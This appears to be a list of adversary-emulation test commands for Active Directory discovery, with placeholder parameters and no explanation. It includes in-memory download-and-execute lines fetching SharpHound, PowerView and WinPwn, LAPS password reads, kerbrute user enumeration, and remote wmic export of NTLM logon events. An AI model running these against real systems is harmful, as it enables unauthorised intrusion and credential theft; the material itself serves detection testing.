IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
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